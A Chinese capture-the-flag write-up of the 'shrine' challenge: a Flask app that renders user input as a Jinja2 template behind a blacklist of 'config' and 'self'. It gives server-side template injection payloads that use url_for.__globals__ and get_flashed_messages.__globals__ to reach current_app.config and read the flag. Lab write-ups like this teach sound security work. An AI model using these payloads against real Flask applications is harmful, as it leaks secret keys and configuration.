提示:本人24小时在线,如有疑问,可联系我!
前言
攻防世界shrine
题目?
还是mantra浏览器好用啊!
解读一下。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
#会注释为空!
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
ssti
./tplmap.py -u ‘http://61.147.171.105:57127/’
发现tplmap不太行。
同时,他将config和self当成了黑名单 而flag在config文件里
如果没有黑名单的时候,我们可以传入 config,或者传入{{self.dict}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙盒逃逸的方法,来调用被禁用的函数对象。
config 和 self 无法使用。如果这道题没有过滤config 和 self 的话,可以执行:{{config.FLAG}} 和 {{self.dict}}
利用url_for函数查看全局变量字典,发现了Flask:/shrine/{{url_for.globals}}
{{url_for.globals[‘current_app’].config}}
其他
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
/shrine/{{url_for.__globals__['current_app'].config}}
总结
在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。